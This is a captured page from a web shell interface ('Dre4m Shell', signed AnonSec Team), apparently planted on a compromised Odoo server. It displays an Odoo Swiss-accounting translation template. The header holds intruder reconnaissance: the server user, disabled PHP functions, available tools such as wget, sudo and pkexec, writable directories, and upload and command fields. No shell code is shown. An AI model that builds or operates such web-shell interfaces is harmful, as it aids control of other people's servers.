Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.15.195.46
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/l10n_ch/i18n_extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/l10n_ch/i18n_extra/l10n_ch.pot
# Translation of Odoo Server.
# This file contains the translation of the following modules:
#	* l10n_ch
#
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 10.0c\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2015-09-18 08:20+0000\n"
"PO-Revision-Date: 2015-09-18 08:20+0000\n"
"Last-Translator: <>\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: \n"

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_100_import
msgid "100% dédouanement TVA"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_4200
msgid "Achats de marchandises destinées à la revente"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2030
msgid "Acomptes de clients"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1149
msgid "Ajustement de la valeur des avances et des prêts"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1709
msgid "Ajustement de la valeur des brevets, know-how, licences, droits, dév."
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1199
msgid "Ajustement de la valeur des créances à court terme"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1449
msgid "Ajustement de la valeur des créances à long terme"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1779
msgid "Ajustement de la valeur des goodwill"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1609
msgid "Ajustement de la valeur des immeubles d’exploitation"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1529
msgid "Ajustement de la valeur des machines de bureau, inf. et syst. comm."
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1509
msgid "Ajustement de la valeur des machines et appareils"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1549
msgid "Ajustement de la valeur des outillages et appareils"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1489
msgid "Ajustement de la valeur des participations"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1069
#: model:account.account.template,name:l10n_ch.ch_coa_1409
msgid "Ajustement de la valeur des titres"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1539
msgid "Ajustement de la valeur des véhicules"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1519
msgid "Ajustement de la valeur du mobilier et des installations"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6800
msgid "Amortissements et ajustements de valeur des postes sur immobilisations corporelles"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2270
msgid "Assurances sociales et institutions de prévoyance"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6300
msgid "Assurances-choses, droits, taxes, autorisations"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_5800
msgid "Autres charges du personnel"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6700
msgid "Autres charges d‘exploitation"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1190
msgid "Autres créances à court terme"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2210
msgid "Autres dettes à court terme"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2140
msgid "Autres dettes à court terme rémunérées"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2500
msgid "Autres dettes à long terme"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_3600
msgid "Autres ventes et prestations de services"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1140
msgid "Avances et prêts"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1700
msgid "Brevets, know-how, licences, droits, développement"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2979
msgid "Bénéfice / perte de l’exercice"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2970
msgid "Bénéfice / perte reporté"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1850
msgid "Capital actions, capital social, droits de participations ou capital de fondation non versés"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2800
msgid "Capital-actions, capital social, capital de fondation"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_7010
msgid "Charges accessoires"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6000
msgid "Charges de locaux"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_4000
msgid "Charges de matériel de l‘atelier"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_5900
msgid "Charges de personnels temporaires"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6200
msgid "Charges de véhicules et de transport"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_7510
msgid "Charges des immeubles d‘exploitation"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6500
msgid "Charges d‘administration"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_4500
msgid "Charges d‘énergie pour l‘exploitation"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6400
msgid "Charges d’énergie et évacuation des déchets"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6570
msgid "Charges et leasing d’informatique"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_8500
msgid "Charges extraordinaires, exceptionnelles ou hors période"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6900
msgid "Charges financières"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_8000
msgid "Charges hors exploitation"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1300
msgid "Charges payées d‘avance"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_5700
msgid "Charges sociales"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2300
msgid "Charges à payer"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_3710
msgid "Consommations propres"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1180
msgid "Créances envers les assurances sociales et institutions de prévoyance"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2000
msgid "Créanciers"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2100
#: model:account.account.template,name:l10n_ch.ch_coa_2400
msgid "Dettes bancaires"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2261
msgid "Dividendes"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1109
msgid "Ducroire"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1100
msgid "Débiteurs"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2201
msgid "Décompte TVA"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_4900
msgid "Déductions sur les charges"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_3800
msgid "Déductions sur ventes"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2450
msgid "Emprunts"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2430
msgid "Emprunts obligataires"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2120
#: model:account.account.template,name:l10n_ch.ch_coa_2420
msgid "Engagements de financement par leasing"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6100
msgid "Entretien, réparations et remplacement des inst. servant à l’exploitation"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1770
msgid "Goodwill"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1441
#: model:account.account.template,name:l10n_ch.ch_coa_2451
msgid "Hypothèques"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1600
msgid "Immeubles d’exploitation"
msgstr ""

#. module: l10n_ch
#: model:account.fiscal.position.template,name:l10n_ch.fiscal_position_template_import
msgid "Import/Export"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1176
msgid "Impôt anticipé"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2206
msgid "Impôt anticipé dû"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1171
msgid "Impôt préalable: TVA s/investissements et autres charges d’exploitation"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1170
msgid "Impôt préalable: TVA s/matériel, marchandises, prestations et énergie"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1189
#: model:account.account.template,name:l10n_ch.ch_coa_2279
msgid "Impôt à la source"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2208
#: model:account.account.template,name:l10n_ch.ch_coa_8900
msgid "Impôts directs"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6260
msgid "Leasing et location de véhicules"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6105
msgid "Leasing immobilisations corporelles meubles"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1520
msgid "Machines de bureau, informatique, systèmes de communication"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1500
msgid "Machines et appareils"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1200
msgid "Marchandises commerciales"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1250
msgid "Marchandises en consignation"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1220
msgid "Matières auxiliaires"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1230
msgid "Matières consommables"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1210
msgid "Matières premières"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1510
msgid "Mobilier et installations"
msgstr ""

#. module: l10n_ch
#: model:ir.actions.client,name:l10n_ch.action_client_l10n_ch_menu
msgid "Open Account Dashboard Menu"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1540
msgid "Outillages et appareils"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1480
msgid "Participations"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_3805
msgid "Pertes sur clients, variation du ducroire"
msgstr ""

#. module: l10n_ch
#: model:account.chart.template,name:l10n_ch.l10nch_chart_template
msgid "Plan comptable 2015"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_4400
msgid "Prestations / travaux de tiers"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1280
msgid "Prestations de services non facturées"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_3700
msgid "Prestations propres"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_7000
msgid "Produits accessoires"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_7500
msgid "Produits des immeubles d‘exploitation"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2301
msgid "Produits encaissés d’avance"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_8510
msgid "Produits extraordinaires, exceptionnels ou hors période"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6950
msgid "Produits financiers"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_8100
msgid "Produits hors exploitation"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1301
msgid "Produits à recevoir"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2980
msgid "Propres actions, parts sociales, droits de participations (poste négatif)"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2600
msgid "Provisions"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2330
msgid "Provisions à court terme"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1440
msgid "Prêts"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_6600
msgid "Publicité"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2940
msgid "Réserves d‘évaluation"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2960
msgid "Réserves libres"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2950
msgid "Réserves légales issues du bénéfice"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2900
msgid "Réserves légales issues du capital"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_5000
msgid "Salaires"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1260
msgid "Stocks de produits finis"
msgstr ""

#. module: l10n_ch
#: model:ir.ui.menu,name:l10n_ch.account_reports_ch_statements_menu
msgid "Swiss Statements"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_O_import
msgid "TVA 0% Importations de biens et services"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_O_exclude
msgid "TVA 0% exclue"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_25_purchase_incl
msgid "TVA 2.5% sur achat B&S (Incl. TR)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_25_purchase
msgid "TVA 2.5% sur achat B&S (TR)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_25_invest_incl
msgid "TVA 2.5% sur invest. et autres ch. (Incl. TR)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_25_invest
msgid "TVA 2.5% sur invest. et autres ch. (TR)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_38_purchase_incl
msgid "TVA 3.8% sur achat B&S (Incl. TS)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_38_purchase
msgid "TVA 3.8% sur achat B&S (TS)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_38_invest_incl
msgid "TVA 3.8% sur invest. et autres ch. (Incl. TS)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_38_invest
msgid "TVA 3.8% sur invest. et autres ch. (TS)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_80_purchase_incl
msgid "TVA 8.0% sur achat B&S (Incl. TN)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_80_purchase
msgid "TVA 8.0% sur achat B&S (TN)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_80_invest_incl
msgid "TVA 8.0% sur invest. et autres ch. (Incl. TN)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_80_invest
msgid "TVA 8.0% sur invest. et autres ch. (TN)"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_2200
msgid "TVA due"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_XO
msgid "TVA due a 0% (Exportations)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_25
msgid "TVA due a 2.5% (TR)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_38_incl
msgid "TVA due à 3.8% (Incl. TS)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_38
msgid "TVA due a 3.8% (TS)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_80_incl
msgid "TVA due à 8.0% (Incl. TN)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_80
msgid "TVA due a 8.0% (TN)"
msgstr ""

#. module: l10n_ch
#: model:account.tax.template,name:l10n_ch.vat_25_incl
msgid "TVA due à 2.5% (Incl. TR)"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1060
msgid "Titres"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1400
msgid "Titres à long terme"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.transfer_account_id
msgid "Transferts internes"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1270
msgid "Travaux en cours"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_3940
msgid "Variation de la valeur des prestations non facturées"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_3901
msgid "Variation des stocks de produits finis"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_3900
msgid "Variation des stocks de produits semi-finis"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_3200
msgid "Ventes de marchandises"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_3400
msgid "Ventes de prestations"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_3000
msgid "Ventes de produits fabriqués"
msgstr ""

#. module: l10n_ch
#: model:account.account.template,name:l10n_ch.ch_coa_1530
msgid "Véhicules"
msgstr ""


Anon7 - 2022
AnonSec Team